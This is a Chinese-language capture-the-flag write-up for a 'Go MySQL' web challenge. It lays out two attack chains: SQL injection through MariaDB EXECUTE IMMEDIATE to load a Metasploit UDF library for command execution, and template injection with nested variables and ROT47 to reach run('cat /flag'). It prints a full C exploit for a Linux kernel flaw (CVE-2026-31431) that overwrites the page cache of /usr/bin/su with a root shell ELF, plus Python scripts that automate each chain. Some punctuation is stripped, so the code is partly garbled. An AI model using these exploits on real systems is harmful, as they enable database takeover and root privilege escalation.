Go MySQL我立个更新内核了 CVE-2026-31431用不了了只能采用模板注入的方法了其实这个题两种方法前面都一样进入发现有两个功能一个是/calc 计算器和 /draw抽取幸运数字先是calc的sql注入可以发现是Go MariaDBwp的关键是MariaDB 10.11 支持 EXECUTE IMMEDIATE 语句且该关键字未被过滤通过该函数可以rce 但权限不够 读取不到flag接下来就是不同了CVE-2026-31431先利用lib_mysqludf_sys_64.solib_mysqludf_sys_64.so 是 Metasploit 框架自带的一个 64 位 Linux 共享库文件它的核心作用是在 UDF用户自定义函数提权技术中为 MySQL 数据库扩展执行任意系统命令的能力从而帮助渗透测试人员提升在目标系统上的权限UDF 的全称是 User Defined Function即用户自定义函数。这是 MySQL 数据库提供的一个功能接口允许开发者用 C/C 编写 MySQL 原生不支持的函数原理是注入命令执行函数将 lib_mysqludf_sys_64.so 文件上传到目标的 MySQL 插件目录后通过 CREATE FUNCTION 语句将内部的 sys_eval 或 sys_exec 函数注册到 MySQL 中。执行系统命令之后你就可以像调用普通的 MySQL 函数一样通过 SELECT sys_eval(命令) 来让目标服务器执行系统命令了。常用的函数有sys_eval()可以执行任意系统命令并将命令的输出结果作为字符串返回方便你查看命令执行的反馈。sys_exec()同样是执行任意系统命令但它返回的是命令执行后的退出码通常 0 表示成功而不是输出结果。它通常用来在后台静默执行像反弹 Shell 这类操作也可以算第一步 也是rce的过程 这里发现sql的权限不够 无法读取到flag然后是CVE-2026-31431利用 Linux 内核 algif_aead 模块的 authencesn 加密模板中的逻辑缺陷通过 splice 系统调用污染 SUID 二进制文件 /usr/bin/su 的 page cache将其覆写为一个执行 setuid(0) execve(/bin/sh) 的 160 字节 ELF从而获取 root 权限读取/flag编译一下// cf2.c - CVE-2026-31431 (Copy Fail) exploit #define _GNU_SOURCE #include stdio.h #include stdlib.h #include string.h #include unistd.h #include fcntl.h #include sys/socket.h #include linux/if_alg.h #ifndef SOL_ALG #define SOL_ALG 279 #endif // setuid(0) execve(/bin/sh) 的 160 字节 ELF payload static unsigned char payload[] { 0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 0x9e,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x9e,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00, 0x31,0xc0,0x31,0xff,0xb0,0x69,0x0f,0x05, 0x48,0x8d,0x3d,0x0f,0x00,0x00,0x00, 0x31,0xf6,0x6a,0x3b,0x58,0x99,0x0f,0x05, 0x31,0xff,0x6a,0x3c,0x58,0x0f,0x05, 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00 }; static void w(int fd, int off, unsigned char *d, int dl) { int a, o, p[2]; struct sockaddr_alg sa { .salg_family 38, .salg_type aead, .salg_name authencesn(hmac(sha256),cbc(aes)) }; a socket(38, 5, 0); if (a 0) { perror(sock); exit(1); } if (bind(a, (void*)sa, sizeof(sa)) 0) { perror(bind); exit(1); } unsigned char k[40] {8, 0, 1, 0, 0, 0, 0, 0x10}; setsockopt(a, SOL_ALG, 1, k, 40); setsockopt(a, SOL_ALG, 5, NULL, 4); o accept(a, NULL, 0); if (o 0) { perror(acc); exit(1); } int sl off 4; unsigned char op[4] {0}, iv[20] {0x10}, as[4] {8}; struct msghdr m {0}; struct iovec v; unsigned char b[8] {A, A, A, A}; memcpy(b 4, d, dl 4 ? dl : 4); v.iov_base b; v.iov_len 4 (dl 4 ? dl : 4); char cb[CMSG_SPACE(4) CMSG_SPACE(20) CMSG_SPACE(4)] {0}; m.msg_control cb; m.msg_controllen sizeof(cb); m.msg_iov v; m.msg_iovlen 1; struct cmsghdr *c CMSG_FIRSTHDR(m); c-cmsg_level SOL_ALG; c-cmsg_type 3; c-cmsg_len CMSG_LEN(4); memcpy(CMSG_DATA(c), op, 4); c CMSG_NXTHDR(m, c); c-cmsg_level SOL_ALG; c-cmsg_type 2; c-cmsg_len CMSG_LEN(20); memcpy(CMSG_DATA(c), iv, 20); c CMSG_NXTHDR(m, c); c-cmsg_level SOL_ALG; c-cmsg_type 4; c-cmsg_len CMSG_LEN(4); memcpy(CMSG_DATA(c), as, 4); sendmsg(o, m, MSG_MORE); pipe(p); loff_t so 0; splice(fd, so, p[1], NULL, sl, 0); splice(p[0], NULL, o, NULL, sl, 0); char rb[8192]; recv(o, rb, 8 off, 0); close(p[0]); close(p[1]); close(o); close(a); } int main(void) { int fd open(/usr/bin/su, O_RDONLY); if (fd 0) { perror(open); return 1; } int pl sizeof(payload); fprintf(stderr, [*] CVE-2026-31431 patching su (%d bytes)\n, pl); for (int i 0; i pl; i 4) w(fd, i, payload i, pl - i 4 ? pl - i : 4); close(fd); fprintf(stderr, [] Done. Reading /flag .\n); system(echo cat /flag | /usr/bin/su); return 0; }脚本import requests import re import sys URL TIMEOUT 120 def exec_sql(sql): 通过 EXECUTE IMMEDIATE char(...) 绕过所有过滤执行任意SQL chars ,.join(str(ord(c)) for c in sql) payload f1;execute immediate char({chars}) r requests.post(URL, data{expression: payload}, timeoutTIMEOUT) return r.text def run_cmd(cmd): 通过 sys_eval UDF 执行系统命令 cmd_escaped cmd.replace(, \\) sql fSELECT sys_eval({cmd_escaped}) text exec_sql(sql) lis re.findall(rli(.*?)/li, text) for li in lis: m re.search(r\[([\d ])\], li) if m: nums m.group(1).split() return .join(chr(int(n)) for n in nums) return None # Phase 1: 建立 UDF RCE print([*] Phase 1: 上传 UDF 获取命令执行.\n) # 读取 Metasploit 的 lib_mysqludf_sys_64.so udf_path /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.so with open(udf_path, rb) as f: udf_data f.read() hex_str udf_data.hex() # 写入 UDF .so 到 plugin 目录 sql fSELECT UNHEX({hex_str}) INTO DUMPFILE /usr/lib/mysql/plugin/udf.so exec_sql(sql) # 创建 sys_eval 函数 exec_sql(CREATE FUNCTION sys_eval RETURNS STRING SONAME udf.so) # 验证 RCE test run_cmd(id) print(f id: {test}) if not test or uid not in test: print([-] RCE 失败) sys.exit(1) print([] RCE 建立成功!) # Phase 2: 上传提权 exploit print([*] Phase 2: 上传 CVE-2026-31431 exploit.\n) with open(cf2, rb) as f: exp_data f.read() hex_str exp_data.hex() # 清理旧文件 run_cmd(rm -f /tmp/cf2_exp) # 通过 DUMPFILE 写入 exploit 二进制 sql fSELECT UNHEX({hex_str}) INTO DUMPFILE /tmp/cf2_exp exec_sql(sql) # 设置执行权限 run_cmd(chmod x /tmp/cf2_exp) # 验证上传 verify run_cmd(ls -la /tmp/cf2_exp) print(f 上传验证: {verify}) # Phase 3: 执行提权获取 flag print([*] Phase 3: 执行提权 exploit.\n) result run_cmd(/tmp/cf2_exp 21) print(f Result: {result}) # 提取 flag if ACTF{ in result or flag{ in result: flag re.search(r(ACTF\{[^}]\}|flag\{[^}]\}), result) if flag: print(f\n[] FLAG: {flag.group(1)}) else: print(f 完整输出: {result})模板注入由于直接写入 run() 会被拦截脚本利用 嵌套变量引用 将代码拆散name %n1% → 引用 n1n1 %n2% → 引用 n2n2 \%n3% → 引用 n3\% 是转义写法传给模板时变成 %n3%n3 %n4% → 引用 n4n4 strrot(% → 给 strrot 函数的开头/b/h1p classnumberYour number today: b\ draw_number(%name它在页面上注入了一个伪造的 p 标签并通过 draw_number(%name 触发对 %name% 变量的解析从而启动整条变量链。strrot(ROT47编码的cat /flag payload)模板引擎执行 strrot() 解码得到 /\run(cat /flag);unsafe/然后 run() 被执行读取 /flag 文件。攻击图示URL 参数 → 模板引擎解析 %name%→ 链式展开: %n1% → %n2% → %n3% → %n4%→ 拼接为: strrot( rotated_payload )→ ROT47 解码 → run(cat /flag)→ 获取 flag脚本import urllib.parse def strrot(s): ROT47 编码/解码 return .join(chr(33 ((ord(c)-3347)%94)) if 33ord(c)126 else c for c in s) # 编码命令 encoded strrot(/\\run(cat /flag);unsafe/) # 解码用同一个函数ROT47 是对称的 decoded strrot(encoded) def gen_url(target_base, commandcat /flag): unsafe f/\\run({command});unsafe/ rotated strrot(unsafe) vars_payload { name: %n1%, n1: %n2%, n2: r\\%n3%, n3: %n4%, n4: strrot(%, /b/h1\n p classnumberYour number today: b\\ draw_number(%name: rotated, } pairs [(urllib.parse.quote(k, safe), urllib.parse.quote(v, safe)) for k, v in vars_payload.items()] return target_base draw? .join(f{k}{v} for k, v in pairs) if __name__ __main__: print(gen_url(http://web-9982fbe014.adworld.xctf.org.cn/))模板引擎遇到 %name% 时不是一次性展开而是分层解析第1轮: %name% → %n1% (n1 还是变量引用触发下一轮)第2轮: %n1% → %n2% (n2 还是变量引用继续)第3轮: %n2% → \%n3% (关键\ 转义了 %%n3% 变成字面量文本)第4轮: 现在字符串是 \%n3%引擎再次扫描 → 发现 %n3% → %n4%第5轮: %n4% → strrot(%n2 \\%n3% ≠ n2 %n3%如果 n2 没有 \\%name% → %n1% → %n2% → %n3% → %n4% → strrot(%↑ 一次性全展开了得到扁平的 strrot(%引擎不会把它当函数来调用只是一段文本\\ 的作用就是打断一次性展开——让 %n3% 在这一轮被转义为字面量 %n3%下一轮才被解析。这样每轮的结果是新模板代码而非纯文本引擎会重新解析新代码从而触发函数调用。 在这里是 重新解析 的标志